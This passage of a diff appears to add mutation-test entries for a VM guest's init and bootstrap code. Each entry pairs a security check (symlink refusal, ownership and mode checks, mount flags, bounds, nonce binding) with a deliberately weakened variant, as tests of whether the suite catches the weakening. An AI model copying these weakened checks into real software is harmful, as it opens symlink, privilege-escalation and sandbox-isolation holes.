roots < 1 || roots > WG_ROOTS_MAX', 'gid < WG_UNIX_ID_MIN || roots < 1 || roots > WG_ROOTS_MAX', 'fcboot'), + ('init/boot.c', 'gid < WG_UNIX_ID_MIN || gid > WG_UNIX_ID_MAX || roots < 1 || roots > WG_ROOTS_MAX', 'gid < WG_UNIX_ID_MIN || gid > WG_UNIX_ID_MAX || roots > WG_ROOTS_MAX', 'fcboot'), + ('init/boot.c', 'gid < WG_UNIX_ID_MIN || gid > WG_UNIX_ID_MAX || roots < 1 || roots > WG_ROOTS_MAX', 'gid < WG_UNIX_ID_MIN || gid > WG_UNIX_ID_MAX || roots < 1', 'fcboot'), + ('init/boot.c', 'if (length - at < source_length || !root_source_ok(payload + at, source_length)) return -1;', 'if (length - at < source_length) return -1;', 'fcboot'), + ('init/boot.c', 'if (length - at < source_length || !root_source_ok(payload + at, source_length)) return -1;', 'if (!root_source_ok(payload + at, source_length)) return -1;', 'fcboot'), + ('init/boot.c', "if (component == 0 || (component == 1 && start[0] == '.') || (component == 2 && start[0] == '.' && start[1] == '.')) return 0;", "if ((component == 1 && start[0] == '.') || (component == 2 && start[0] == '.' && start[1] == '.')) return 0;", 'fcboot'), + ('init/boot.c', "if (component == 0 || (component == 1 && start[0] == '.') || (component == 2 && start[0] == '.' && start[1] == '.')) return 0;", "if (component == 0 || (component == 2 && start[0] == '.' && start[1] == '.')) return 0;", 'fcboot'), + ('init/boot.c', "if (component == 0 || (component == 1 && start[0] == '.') || (component == 2 && start[0] == '.' && start[1] == '.')) return 0;", "if (component == 0 || (component == 1 && start[0] == '.')) return 0;", 'fcboot'), + ('init/boot.c', 'if (!ok || ++component > 64) return 0;', 'if (!ok || ++component > 65) return 0;', 'fcboot'), + ('init/boot.c', 'if (!ok || ++component > 64) return 0;', 'if (++component > 64) return 0;', 'fcboot'), + ('init/boot.c', 'for (unsigned i = 0; i < out->count; i++)\n if (out->browse_uid != 0 && (out->browse_uid == out->runtime_uid[i] || out->browse_uid == out->tool_uid[i] || out->browse_uid == out->workspace_gid[i])) return -1;', 'for (unsigned i = 0; i < out->count; i++)\n if (out->browse_uid != 0 && (out->browse_uid == out->tool_uid[i] || out->browse_uid == out->workspace_gid[i])) return -1;', 'fcboot'), + ('init/boot.c', 'for (unsigned i = 0; i < out->count; i++)\n if (out->browse_uid != 0 && (out->browse_uid == out->runtime_uid[i] || out->browse_uid == out->tool_uid[i] || out->browse_uid == out->workspace_gid[i])) return -1;', 'for (unsigned i = 0; i < out->count; i++)\n if (out->browse_uid != 0 && (out->browse_uid == out->runtime_uid[i] || out->browse_uid == out->tool_uid[i])) return -1;', 'fcboot'), + ('init/boot.c', 'if (tool < WG_UNIX_ID_MIN || tool > WG_UNIX_ID_MAX) return -1;', 'if (tool > WG_UNIX_ID_MAX) return -1;', 'fcboot'), + ('init/boot.c', 'if (tool < WG_UNIX_ID_MIN || tool > WG_UNIX_ID_MAX) return -1;', 'if (tool < WG_UNIX_ID_MIN) return -1;', 'fcboot'), + ('init/boot.c', 'if (out->tool_uid[i] == out->runtime_uid[i]) return -1;', '', 'fcboot'), + ('init/boot.c', 'if (out->workspace_gid[i] == out->runtime_uid[j] || out->workspace_gid[i] == out->tool_uid[j]) return -1;', 'if (out->workspace_gid[i] == out->runtime_uid[j]) return -1;', 'fcboot'), + ('init/boot.c', 'if (out->workspace_gid[i] == out->runtime_uid[j] || out->workspace_gid[i] == out->tool_uid[j]) return -1;', 'if (out->workspace_gid[i] == out->tool_uid[j]) return -1;', 'fcboot'), + ('init/boot.c', 'if (j != i && (out->tool_uid[i] == out->tool_uid[j] || out->tool_uid[i] == out->runtime_uid[j])) return -1;', 'if (j != i && out->tool_uid[i] == out->runtime_uid[j]) return -1;', 'fcboot'), + ('init/boot.c', 'if (j != i && (out->tool_uid[i] == out->tool_uid[j] || out->tool_uid[i] == out->runtime_uid[j])) return -1;', 'if (j != i && out->tool_uid[i] == out->tool_uid[j]) return -1;', 'fcboot'), + ('init/boot.c', 'if (length - at < 9) return -1;', 'if (length - at < 5) return -1;', 'fcboot'), + ('init/boot.c', 'uint32_t gid = le32(payload + at + 4);', 'uint32_t gid = le32(payload + at);', 'fcboot'), + ('init/boot.c', ' if (length - at < 4) return -1;\n out->browse_uid', ' out->browse_uid', 'fcboot'), + ('init/boot.c', ' if (length - at < 9) return -1;\n uint32_t tool', ' uint32_t tool', 'fcboot'), + ('init/boot.c', ' if (length - at < 1) return -1;\n size_t source_length', ' size_t source_length', 'fcboot'), + ('init/boot.c', ' if (set.browse_uid != 0) {\n uint64_t device = 0;', ' if (1) {\n uint64_t device = 0;', 'fcboot'), + ('init/boot.c', ' start_flags |= WG_START_FILE_CHANNEL;', '', 'fcboot'), + ('init/boot.c', 'if (boot->conv_file_channel) streams |= 2;', '', 'fcboot'), + ('init/boot.c', 'boot->conv_file_channel = (start_flags & WG_START_FILE_CHANNEL) != 0;', 'boot->conv_file_channel = 0;', 'fcboot'), + ('init/boot.c', 'if (ops->read_data_device(ops->ctx, &device) != 0 || wg_add_file_channel(', 'if (wg_add_file_channel(', 'fcboot'), + ('init/boot.c', '|| wg_add_file_channel(config_buffer, config_length, sizeof config_buffer, set.browse_uid, device, &config_length) != 0) {', ') {', 'fcboot'), + ('init/trusted_config.c', 'if (browse_uid < 1000u || browse_uid > 65533u || data_device == 0 ||', 'if (browse_uid > 65533u || data_device == 0 ||', 'fcboot'), + ('init/trusted_config.c', 'if (browse_uid < 1000u || browse_uid > 65533u || data_device == 0 ||', 'if (browse_uid < 1000u || data_device == 0 ||', 'fcboot'), + ('init/trusted_config.c', 'if (browse_uid < 1000u || browse_uid > 65533u || data_device == 0 ||', 'if (browse_uid < 1000u || browse_uid > 65533u ||', 'fcboot'), + ('init/trusted_config.c', "length < 2 || config[length - 1] != '}' || config[0] != '{') return -1;", "config[length - 1] != '}' || config[0] != '{') return -1;", 'fcboot'), + ('init/trusted_config.c', "length < 2 || config[length - 1] != '}' || config[0] != '{') return -1;", "length < 2 || config[0] != '{') return -1;", 'fcboot'), + ('init/trusted_config.c', "length < 2 || config[length - 1] != '}' || config[0] != '{') return -1;", "length < 2 || config[length - 1] != '}') return -1;", 'fcboot'), + ('init/trusted_config.c', ' if (top_level_key(config, length, "fileChannel") != 0) return -1;', '', 'fcboot'), + ('init/trusted_config.c', '|| length - 1 + (size_t)n + 1 >= capacity ||', '||', 'fcboot'), + ('init/trusted_config.c', '|| length - 1 + (size_t)n > WG_CONFIG_MAX_BYTES) return -1;', ') return -1;', 'fcboot'), + ('init/dataroots.c', 'return under(source, "/workspace/outputs") || under(source, "/workspace/.winter/memory") || under(source, "/workspace/folders");', 'return under(source, "/workspace/.winter/memory") || under(source, "/workspace/folders");', 'fcroots'), + ('init/dataroots.c', 'return under(source, "/workspace/outputs") || under(source, "/workspace/.winter/memory") || under(source, "/workspace/folders");', 'return under(source, "/workspace/outputs") || under(source, "/workspace/folders");', 'fcroots'), + ('init/dataroots.c', "return strncmp(source, directory, n) == 0 && (source[n] == '\\0' || source[n] == '/');", 'return strncmp(source, directory, n) == 0;', 'fcroots'), + ('init/dataroots.c', "return strncmp(source, directory, n) == 0 && (source[n] == '\\0' || source[n] == '/');", "return strncmp(source, directory, n) == 0 && source[n] == '\\0';", 'fcroots'), + ('init/dataroots.c', ' return openat(parent, name, O_RDONLY | O_DIRECTORY | O_NOFOLLOW | O_CLOEXEC);', ' return openat(parent, name, O_RDONLY | O_DIRECTORY | O_CLOEXEC);', 'fcroots'), + ('init/dataroots.c', 'int workspace = open(workspace_path, O_RDONLY | O_DIRECTORY | O_NOFOLLOW | O_CLOEXEC);', 'int workspace = open(workspace_path, O_RDONLY | O_DIRECTORY | O_CLOEXEC);', 'fcroots'), + ('init/dataroots.c', 'if (st.st_uid != parent_owner) { close(current); return -1; }', '', 'fcroots'), + ('init/dataroots.c', 'if (rc == 0) rc = fchmod(current, ROOT_MODE);', '', 'fcroots'), + ('init/dataroots.c', '#define ROOT_MODE 02770', '#define ROOT_MODE 0770', 'fcroots'), + ('init/dataroots.c', '#define PARENT_MODE 0711', '#define PARENT_MODE 0777', 'fcroots'), + ('init/dataroots.c', 'if (fchmod(current, PARENT_MODE) != 0 || fstat(current, &st) != 0 || (st.st_mode & 07777) != PARENT_MODE)', 'if (fstat(current, &st) != 0 || (st.st_mode & 07777) != PARENT_MODE)', 'fcroots'), + ('init/dataroots.c', ' || under(source, "/workspace/folders");', ';', 'fcroots'), + ('init/dataroots.c', '(fstat(current, &st) != 0 || st.st_uid != owner || st.st_gid != gid || (st.st_mode & 07777) != ROOT_MODE)) rc = -1;', '(fstat(current, &st) != 0 || st.st_gid != gid)) rc = -1;', 'fcroots'), + ('init/dataroots.c', '(fstat(current, &st) != 0 || st.st_uid != owner || st.st_gid != gid || (st.st_mode & 07777) != ROOT_MODE)) rc = -1;', '(fstat(current, &st) != 0 || st.st_uid != owner)) rc = -1;', 'fcroots'), + ('init/dataroots.c', 'if (strncmp(source, WORKSPACE_PREFIX, sizeof WORKSPACE_PREFIX - 1) != 0) { rc = -1; break; }', '', 'fcroots'), + ('init/dataroots.c', 'if (length > 64) { close(current); return -1; }', 'if (length == 0) { close(current); return -1; }', 'fcroots'), + ('init/dataroots.c', 'if (wg_data_root_is_share_mount(source)) continue;', '', 'fcroots'), + ('init/dataroots.c', 'if (epoch < 0) { rc = -1; break; }', '', 'fcroots'), + ('init/dataroots.c', 'if (plan_epoch_is_current(current, epoch, ops) != 0) { close(current); return -1; }', '', 'fcroots'), + ('init/dataroots.c', 'if (result == 0 && errno != 0) result = -1;', '', 'fcroots'), + ('init/dataroots.c', ' errno = 0;\n while ((entry', ' while ((entry', 'fcroots'), + ('init/dataroots.c', 'ops->read_entry ? ops->read_entry(directory, ops->ctx) : readdir(directory)', 'readdir(directory)', 'fcroots'), + ('init/dataroots.c', 'if (rc == 0 && st.st_uid != ops->parent_owner && st.st_uid != want_uid) rc = -1;', '', 'fcroots'), + ('init/dataroots.c', 'if (rc == 0 && st.st_uid != ops->parent_owner && st.st_uid != want_uid) rc = -1;', 'if (rc == 0 && st.st_uid != ops->parent_owner) rc = -1;', 'fcroots'), + ('init/dataroots.c', 'if (rc == 0 && st.st_uid != ops->parent_owner && st.st_uid != want_uid) rc = -1;', 'if (rc == 0 && st.st_uid != want_uid) rc = -1;', 'fcroots'), + ('init/dataroots.c', 'if (rc == 0 && st.st_uid != ops->parent_owner && st.st_uid != want_uid) rc = -1;', 'if (rc == 0 && (st.st_uid != ops->parent_owner || st.st_uid != want_uid)) rc = -1;', 'fcroots'), + ('init/dataroots.c', ' if (rc == 0) rc = ops->fchown_fd(fd, uid, gid, ops->ctx);\n', '', 'fcroots'), + ('init/dataroots.c', ' if (rc == 0) rc = fchmod(fd, mode);', '', 'fcroots'), + ('init/dataroots.c', '(fstat(fd, &st) != 0 || st.st_uid != want_uid || st.st_gid != want_gid || (st.st_mode & 07777) != mode)) rc = -1;', '(fstat(fd, &st) != 0 || st.st_gid != want_gid)) rc = -1;', 'fcroots'), + ('init/dataroots.c', '(fstat(fd, &st) != 0 || st.st_uid != want_uid || st.st_gid != want_gid || (st.st_mode & 07777) != mode)) rc = -1;', '(fstat(fd, &st) != 0 || st.st_uid != want_uid)) rc = -1;', 'fcroots'), + ('init/dataroots.c', ' if (rc != 0) { close(fd); return -1; }\n return fd;', ' return fd;', 'fcroots'), + ('init/dataroots.c', 'make_plan_dir(current, names[level], ops->owner, ops->owner_group, PARENT_MODE, ops)', 'make_plan_dir(current, names[level], ops->owner, ops->owner_group, 0700, ops)', 'fcroots'), + ('init/dataroots.c', 'make_plan_dir(current, names[level], ops->owner, ops->owner_group, PARENT_MODE, ops)', 'make_plan_dir(current, names[level], ops->owner, ops->owner_group, 0777, ops)', 'fcroots'), + ('init/dataroots.c', 'make_plan_dir(current, names[level], ops->owner, ops->owner_group, PARENT_MODE, ops)', 'make_plan_dir(current, names[level], (uid_t)tool_uid, (gid_t)tool_uid, PARENT_MODE, ops)', 'fcroots'), + ('init/dataroots.c', 'make_plan_dir(current, epoch_name, (uid_t)tool_uid, (gid_t)tool_uid, PLAN_MODE, ops)', 'make_plan_dir(current, epoch_name, (uid_t)tool_uid, (gid_t)0, PLAN_MODE, ops)', 'fcroots'), + ('init/dataroots.c', 'make_plan_dir(current, epoch_name, (uid_t)tool_uid, (gid_t)tool_uid, PLAN_MODE, ops)', 'make_plan_dir(current, epoch_name, (uid_t)0, (gid_t)tool_uid, PLAN_MODE, ops)', 'fcroots'), + ('init/dataroots.c', 'make_plan_dir(current, epoch_name, (uid_t)tool_uid, (gid_t)tool_uid, PLAN_MODE, ops)', 'make_plan_dir(current, epoch_name, (uid_t)tool_uid, (gid_t)tool_uid, 0750, ops)', 'fcroots'), + ('init/dataroots.c', 'make_plan_dir(current, epoch_name, (uid_t)tool_uid, (gid_t)tool_uid, PLAN_MODE, ops)', 'make_plan_dir(current, epoch_name, ops->owner, ops->owner_group, PLAN_MODE, ops)', 'fcroots'), + ('init/dataroots.c', 'const char *names[2] = { &PLAN_ROOT[sizeof WORKSPACE_PREFIX - 1], session_id };', 'const char *names[2] = { &PLAN_ROOT[sizeof WORKSPACE_PREFIX - 1], &PLAN_ROOT[sizeof WORKSPACE_PREFIX - 1] };', 'fcroots'), + ('init/dataroots.c', ' close(current);\n if (made < 0) return -1;', ' close(current);', 'fcroots'), + ('init/dataroots.c', '#define PLAN_MODE 0700', '#define PLAN_MODE 0770', 'fcroots'), + ('init/dataroots.c', ' } else if (plan_only) {\n continue;\n }', ' }', 'fcroots'), + ('init/dataroots.c', "if (strncmp(at, session_id, id_length) != 0 || at[id_length] != '/') return -1;", "if (at[id_length] != '/') return -1;", 'fcroots'), + ('init/dataroots.c', "if (strncmp(at, session_id, id_length) != 0 || at[id_length] != '/') return -1;", 'if (strncmp(at, session_id, id_length) != 0) return -1;', 'fcroots'), + ('init/dataroots.c', "if (n < 1 || n > 9 || (n > 1 && digits[0] == '0')) return -1;", "if (n < 1 || n > 10 || (n > 1 && digits[0] == '0')) return -1;", 'fcroots'), + ('init/dataroots.c', "if (n < 1 || n > 9 || (n > 1 && digits[0] == '0')) return -1;", 'if (n < 1 || n > 9) return -1;', 'fcroots'), + ('init/dataroots.c', "if (digits[i] < '0' || digits[i] > '9') return -1;", "if (digits[i] < '0') return -1;", 'fcroots'), + ('init/dataroots.c', 'if (i == n && value > epoch) { result = -1; break; }', 'if (i == n && value >= epoch) { result = -1; break; }', 'fcroots'), + ('init/dataroots.c', 'if (i == n && value > epoch) { result = -1; break; }', 'if (i == n && value > epoch + 1000) { result = -1; break; }', 'fcroots'), + ('init/dataroots.c', ' if (under(source, PLAN_ROOT)) {', ' if (under(source, PLAN_ROOT "/")) {', 'fcroots'), + ('init/dataroots.c', ' || st.st_gid != want_gid || (st.st_mode & 07777) != mode)) rc = -1;', ' || st.st_gid != want_gid)) rc = -1;', 'fcroots'), + ('init/dataroots.c', ' || st.st_gid != want_gid || (st.st_mode & 07777) != mode)) rc = -1;', ' || st.st_gid != want_gid || (st.st_mode & 0777) != mode)) rc = -1;', 'fcroots'), + ('init/dataroots.c', ' || st.st_gid != gid || (st.st_mode & 07777) != ROOT_MODE)) rc = -1;', ' || st.st_gid != gid)) rc = -1;', 'fcroots'), + ('init/dataroots.c', ' || st.st_gid != gid || (st.st_mode & 07777) != ROOT_MODE)) rc = -1;', ' || st.st_gid != gid || (st.st_mode & 0777) != ROOT_MODE)) rc = -1;', 'fcroots'), + ('init/dataroots.c', ' || st.st_gid != gid || (st.st_mode & 07777) != ROOT_MODE)) rc = -1;', ' || st.st_gid != gid || (st.st_mode & 07777) != (ROOT_MODE & 0777))) rc = -1;', 'fcroots'), + ('init/dataroots.c', "if (n < 1 || n > 9 || (n > 1 && name[0] == '0')) continue;", "if (n < 1 || n > 9) continue;", 'fcroots'), + ('init/dataroots.c', "if (n < 1 || n > 9 || (n > 1 && name[0] == '0')) continue;", "if (n < 1 || (n > 1 && name[0] == '0')) continue;", 'fcroots'), + ('init/dataroots.c', 'if (i == n && value > epoch) { result = -1; break; }', 'if (value > epoch) { result = -1; break; }', 'fcroots'), + ('bootstrap/guest_bootstrap.py', 'if REVISION_THREE and (type(parsed.get("v")) is not int or parsed["v"] != BOOTSTRAP_VERSION):', 'if False:', 'bootstrap'), + ('bootstrap/guest_bootstrap.py', 'MAX_ENDED_BOOTS = 4', 'MAX_ENDED_BOOTS = 5', 'bootstrap'), + ('bootstrap/guest_bootstrap.py', 'MAX_RUNTIME_TIMEOUT_MS_V3 = 86_400_000', 'MAX_RUNTIME_TIMEOUT_MS_V3 = 86_400_001', 'bootstrap'), + ('bootstrap/guest_bootstrap.py', 'and all(_boot_id(v) for v in value) and len(set(value)) == len(value)', 'and all(_boot_id(v) for v in value)', 'bootstrap'), + ('bootstrap/guest_bootstrap.py', 'or scope["bootId"] in runtime["endedGuestBoots"]):', '):', 'bootstrap'), + ('bootstrap/guest_bootstrap.py', '(runtime["continuation"] == "fresh" and runtime["endedGuestBoots"]) or', '', 'bootstrap'), + ('bootstrap/guest_bootstrap.py', 'message["browseUid"] in uids or any(i["workspaceGid"] == message["browseUid"] for i in items)', 'any(i["workspaceGid"] == message["browseUid"] for i in items)', 'bootstrap'), + ('bootstrap/guest_bootstrap.py', 'message["browseUid"] in uids or any(i["workspaceGid"] == message["browseUid"] for i in items)', 'message["browseUid"] in uids', 'bootstrap'), + ('bootstrap/guest_bootstrap.py', 'if sum(1 for s in value if s["kind"] == "folder") > MAX_FOLDER_SHARES or any(sum(1 for s in value if s["kind"] == kind) > 1 for kind in ("guidance", "memory", "outputs")):', 'if False:', 'bootstrap'), + ('bootstrap/guest_bootstrap.py', 'mode_ok = share["kind"] == "folder" or share["readOnly"] == (share["kind"] == "guidance")', 'mode_ok = True', 'bootstrap'), + ('bootstrap/guest_bootstrap.py', '"share_inventory" if result[0] == SHARES_INVENTORY else "share_mount_failed"', '"share_mount_failed"', 'bootstrap'), + ('bootstrap/guest_bootstrap.py', 'self._fault(operation, nonce, "resume_store_missing")', 'self._fault(operation, nonce, "internal")', 'bootstrap'), + ('bootstrap/guest_bootstrap.py', 'item["runtime"] is not None and item["runtime"]["continuation"] == "resume" for item in message["conversations"]', "False for item in message['conversations']", 'bootstrap'), + ('bootstrap/guest_bootstrap.py', 'ready["continuations"] = ["fresh" for item in message["conversations"] if item["runtime"] is not None]', 'ready["continuations"] = []', 'bootstrap'), + ('bootstrap/guest_bootstrap.py', 'out = bytearray([profile | (EXTENDED_PAYLOAD if REVISION_THREE else 0), len(message["conversations"])])', 'out = bytearray([profile, len(message["conversations"])])', 'bootstrap'), + ('bootstrap/guest_bootstrap.py', 'out += struct.pack("= 0 && (flags & O_NONBLOCK) != 0;', 'return fstat(fd, &st) == 0 && st.st_uid == geteuid() && st.st_nlink == 1 && flags >= 0 && (flags & O_NONBLOCK) != 0;', 'fcpid1'), + ('init/init_linux.c', 'return fstat(fd, &st) == 0 && S_ISFIFO(st.st_mode) && st.st_uid == geteuid() && st.st_nlink == 1 && flags >= 0 && (flags & O_NONBLOCK) != 0;', 'return fstat(fd, &st) == 0 && S_ISFIFO(st.st_mode) && st.st_uid == geteuid() && flags >= 0 && (flags & O_NONBLOCK) != 0;', 'fcpid1'), + ('init/init_linux.c', 'return fstat(fd, &st) == 0 && S_ISFIFO(st.st_mode) && st.st_uid == geteuid() && st.st_nlink == 1 && flags >= 0 && (flags & O_NONBLOCK) != 0;', 'return fstat(fd, &st) == 0 && S_ISFIFO(st.st_mode) && st.st_uid == geteuid() && st.st_nlink == 1 && flags >= 0;', 'fcpid1'), + ('init/init_linux.c', 'if (set->browse_uid == 0) return wg_make_plan_views(WG_WORKSPACE_PATH, set, dataroots_ops);', 'if (set->browse_uid == 0) return 0;', 'fcpid1'), + ('init/init_linux.c', 'if (with_files) { argv[n++] = "--file-channel-fds"; argv[n++] = with_ports ? "7,8" : "4,5"; }', 'if (with_files) { argv[n++] = "--file-channel-fds"; argv[n++] = "7,8"; }', 'fcpid1'), + ('init/init_linux.c', 'if (with_files) { sources[count++] = G.file_in_r; sources[count++] = G.file_out_w; }', 'if (with_files) { sources[count++] = G.file_out_w; sources[count++] = G.file_in_r; }', 'fcpid1'), + ('init/init_linux.c', '#ifdef WG_FILE_CHANNEL_V1\n release_file_ends();\n#endif\n G.supervisor = pid;', ' G.supervisor = pid;', 'fcpid1'), + ('init/init_linux.c', 'if (with_files && (!fifo_end_ok(G.file_in_r) || !fifo_end_ok(G.file_out_w))) {', 'if (0) {', 'fcpid1'), + ('init/init_linux.c', 'if (set->browse_uid == 0) return wg_make_plan_views(WG_WORKSPACE_PATH, set, dataroots_ops);', '', 'fcpid1'), + ('init/init_linux.c', 'if (prepare_data_roots(set) != 0) return -1;', '', 'fcpid1'), + ('init/init_linux.c', 'return pipe2(pair, O_CLOEXEC | O_NONBLOCK);', 'return pipe2(pair, O_CLOEXEC);', 'fcpid1'), + ('init/init_linux.c', 'int fd = open(path, O_WRONLY | O_CLOEXEC | O_NOFOLLOW);', 'int fd = open(path, O_WRONLY | O_CLOEXEC);', 'fcpid1'), + ('init/init_linux.c', 'return written == 2 ? 0 : -1;', 'return 0;', 'fcpid1'), + ('init/init_linux.c', 'if (stat(WG_WORKSPACE_PATH, &st) != 0 || !S_ISDIR(st.st_mode)) return -1;', 'if (stat(WG_WORKSPACE_PATH, &st) != 0) return -1;', 'fcpid1'), + ('init/init_linux.c', '*device = (uint64_t)st.st_dev;', '*device = (uint64_t)st.st_ino;', 'fcpid1'), + ('init/init_linux.c', 'static int op_start_supervisor(void *ctx, const char *config, size_t length, int flags) {', 'static int op_start_supervisor(void *ctx, const char *config, size_t length, int flags) {\n flags &= ~WG_START_FILE_CHANNEL;', 'fcpid1'), + ('init/dataroots.c', 'if (length > 64) { close(current); return -1; }', '', 'fcroots'), + ('init/boot.c', 'if (length < sizeof prefix || memcmp(text, prefix, sizeof prefix - 1) != 0) return 0;', 'if (memcmp(text, prefix, sizeof prefix - 1) != 0) return 0;', 'fcboot'), + ('init/trusted_config.c', 'if (length == 2 && n > 0) { text++; n--; }', '', 'fcboot'), + ('build.py', 'default="production", help="file-channel builds', 'default="file-channel", help="file-channel builds', 'fchygiene'), + ('build.py', '"init": [\n "init/init_linux.c",', '"init": [\n "init/dataroots.c", "init/init_linux.c",', 'fchygiene'), + # ---- SH6: the guest side of host-backed shares. Guards only: inventory equality, mount flags per kind, read-only, dax=never, the mountinfo check, the + # operation/nonce binding, the no-chown/chmod rule, and the order before the conversation set. + ('init/shares.c', 'if (match == WG_SHARES_MAX || (seen & (1u << match))) { result = -1; break; }', 'if (match == WG_SHARES_MAX) { result = -1; break; }', 'shmod'), + ('init/shares.c', 'if (result != 0 || seen != (1u << set->count) - 1u) return -1;', 'if (result != 0) return -1;', 'shmod'), + ('init/shares.c', 'return virtio_fs_devices(sys_root) == (int)set->count ? 0 : -1;', 'return 0;', 'shmod'), + ('init/shares.c', 'return virtio_fs_devices(sys_root) == (int)set->count ? 0 : -1;', 'return virtio_fs_devices(sys_root) >= (int)set->count ? 0 : -1;', 'shmod'), + ('init/shares.c', 'unsigned long flags = WG_MS_NOSUID | WG_MS_NODEV;', 'unsigned long flags = WG_MS_NOSUID;', 'shmod'), + ('init/shares.c', 'unsigned long flags = WG_MS_NOSUID | WG_MS_NODEV;', 'unsigned long flags = WG_MS_NODEV;', 'shmod'), + ('init/shares.c', 'if (share->kind != WG_SHARE_FOLDER) flags |= WG_MS_NOEXEC;', 'flags |= WG_MS_NOEXEC;', 'shmod'), + ('init/shares.c', 'if (share->kind != WG_SHARE_FOLDER) flags |= WG_MS_NOEXEC;', 'if (share->kind == WG_SHARE_MEMORY) flags |= WG_MS_NOEXEC;', 'shmod'), + ('init/shares.c', 'if (share->read_only) flags |= WG_MS_RDONLY;', '', 'shmod'), + ('init/boot.c', 'if (kind != WG_SHARE_FOLDER && share->read_only != (kind == WG_SHARE_GUIDANCE)) return -1;', '', 'shboot'), + ('init/boot.c', 'share->read_only = (flags & 1u) != 0;', 'share->read_only = 0;', 'shboot'), + ('bootstrap/guest_bootstrap.py', '1 if share["readOnly"] else 0', '0', 'bootstrap'), + ('init/shares.c', 'return wg_mount_shares_as(ops, set, mounted, WG_SHARE_FSTYPE, WG_SHARE_MOUNT_DATA);', 'return wg_mount_shares_as(ops, set, mounted, WG_SHARE_FSTYPE, "dax=inode");', 'shmod'), + ('init/shares.c', 'if (options_named(entry.super_options, data_option, 0) != 1 || options_named(entry.super_options, key, 1) != 1) return -1;', 'if (options_named(entry.super_options, key, 1) != 1) return -1;', 'shmod'), + ('init/shares.c', 'if (options_named(entry.super_options, data_option, 0) != 1 || options_named(entry.super_options, key, 1) != 1) return -1;', 'if (options_named(entry.super_options, data_option, 0) != 1) return -1;', 'shmod'), + ('init/shares.c', 'if (wg_mountinfo_find(text, length, where, &entry) != 1) return -1;', 'if (wg_mountinfo_find(text, length, where, &entry) < 1) return -1;', 'shmod'), + ('init/shares.c', 'strcmp(entry.root, "/") != 0 || ', '', 'shmod'), + ('init/shares.c', 'strcmp(entry.fstype, fstype) != 0 || ', '', 'shmod'), + ('init/shares.c', '|| strcmp(entry.source, source) != 0) return -1;', ') return -1;', 'shmod'), + ('init/shares.c', ' if (options_named(entry.options, "ro", 0) != (share->read_only ? 1 : 0) || options_named(entry.options, "rw", 0) != (share->read_only ? 0 : 1)) return -1;\n', '', 'shmod'), + ('init/shares.c', ' if (options_named(entry.options, "nosuid", 0) != 1 || options_named(entry.options, "nodev", 0) != 1) return -1;\n', '', 'shmod'), + ('init/shares.c', ' if (options_named(entry.options, "noexec", 0) != (share->kind != WG_SHARE_FOLDER ? 1 : 0)) return -1;\n', '', 'shmod'), + ('init/shares.c', ' if (scan(text, length, NULL, fstype, source, NULL) != 1) return -1;', '', 'shmod'), + ('init/shares.c', '|| wg_mountinfo_entry_ok(mountinfo, (size_t)length, where, &set->item[i], fstype, set->item[i].tag, data) != 0) goto rollback;', ') goto rollback;', 'shmod'), + ('bootstrap/guest_bootstrap.py', ' if not shares_bound(message, plan_message):', ' if False:', 'bootstrap'), + ('bootstrap/guest_bootstrap.py', 'return message["operationId"] == plan_message["operationId"] and message["nonce"] == plan_message["nonce"]', 'return message["operationId"] == plan_message["operationId"]', 'bootstrap'), + ('bootstrap/guest_bootstrap.py', 'return message["operationId"] == plan_message["operationId"] and message["nonce"] == plan_message["nonce"]', 'return message["nonce"] == plan_message["nonce"]', 'bootstrap'), + ('init/shares.c', ' struct stat parent, st;', ' if (next >= 0) fchmod(next, 0755);\n struct stat parent, st;', 'shmod'), + ('init/shares.c', ' struct stat parent, st;', ' if (next >= 0 && fchown(next, owner, (gid_t)-1) != 0) next = next + 0;\n struct stat parent, st;', 'shmod'), + ('init/shares.c', 'if (mkdirat(current, name, 0700) != 0 && errno != EEXIST)', 'if (mkdirat(current, name, 0755) != 0 && errno != EEXIST)', 'shmod'), + ('init/shares.c', 'int create = share->kind == WG_SHARE_FOLDER;', 'int create = 1;', 'shmod'), + ('init/boot.c', ' if (boot->shares_state == WG_SHARES_STATE_FAILED) { wg_boot_fail_stop(boot, "conversations-after-failed-shares"); return; }\n', '', 'shboot'), + ('init/boot.c', 'if (boot->phase != WG_PHASE_MOUNTED || boot->conv_state != WG_CONV_NONE || boot->shares_state != WG_SHARES_STATE_NONE) { wg_boot_fail_stop(boot, "shares-out-of-order"); return; }', 'if (boot->phase != WG_PHASE_MOUNTED || boot->shares_state != WG_SHARES_STATE_NONE) { wg_boot_fail_stop(boot, "shares-out-of-order"); return; }', 'shboot'), + ('init/boot.c', 'if (boot->phase != WG_PHASE_MOUNTED || boot->conv_state != WG_CONV_NONE || boot->shares_state != WG_SHARES_STATE_NONE) { wg_boot_fail_stop(boot, "shares-out-of-order"); return; }', 'if (boot->phase != WG_PHASE_MOUNTED || boot->conv_state != WG_CONV_NONE) { wg_boot_fail_stop(boot, "shares-out-of-order"); return; }', 'shboot'), + ('init/boot.c', 'if (boot->phase != WG_PHASE_MOUNTED || boot->conv_state != WG_CONV_NONE || boot->shares_state != WG_SHARES_STATE_NONE) { wg_boot_fail_stop(boot, "shares-out-of-order"); return; }', 'if (boot->conv_state != WG_CONV_NONE || boot->shares_state != WG_SHARES_STATE_NONE) { wg_boot_fail_stop(boot, "shares-out-of-order"); return; }', 'shboot'), + ('init/boot.c', 'if (result == WG_SHARES_MOUNTED && mounted == all) {', 'if (result == WG_SHARES_MOUNTED) {', 'shboot'), + ('bootstrap/guest_bootstrap.py', ' if seen or state is not None:', ' if state is not None:', 'bootstrap'), + ('bootstrap/guest_bootstrap.py', ' if seen or state is not None:', ' if seen:', 'bootstrap'), + ('bootstrap/guest_bootstrap.py', ' if shares == "failed":', ' if False:', 'bootstrap'), + ('bootstrap/guest_bootstrap.py', ' if self.channel.has_pending():\n self._fault(operation, nonce, "share_mount_failed")', ' if False:\n self._fault(operation, nonce, "share_mount_failed")', 'bootstrap'), + ('bootstrap/guest_bootstrap.py', ' if len(self.pending) != already:', ' if False:', 'bootstrap'), + ('bootstrap/guest_bootstrap.py', ' self._fault(operation, nonce, "share_mount_failed")\n shares = "failed"', ' self._fault(operation, nonce, "share_mount_failed")', 'bootstrap'), + ('bootstrap/guest_bootstrap.py', ' if result[0] == SHARES_MOUNTED:', ' if True:', 'bootstrap'), + # ---- SH6 review fold: the mount lands on the checked descriptor; the virtio-fs wrapper's dax=never; the test-build-only owner override + ('init/shares.c', '"/proc/self/fd/%d", fds[i]) >= (int)sizeof target) goto rollback;', '"/proc/self/fd/%d", fds[0]) >= (int)sizeof target) goto rollback;', 'shmod'), + ('init/shares.c', 'if (snprintf(target, sizeof 